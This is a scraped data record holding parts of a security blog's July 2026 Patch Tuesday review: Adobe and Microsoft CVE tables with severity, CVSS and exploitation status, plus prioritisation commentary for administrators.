(WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:04:23.365655Z"}, {"uuid": "16599ce3-43c0-46b4-9b8b-bd8eb14c3d7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54996", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  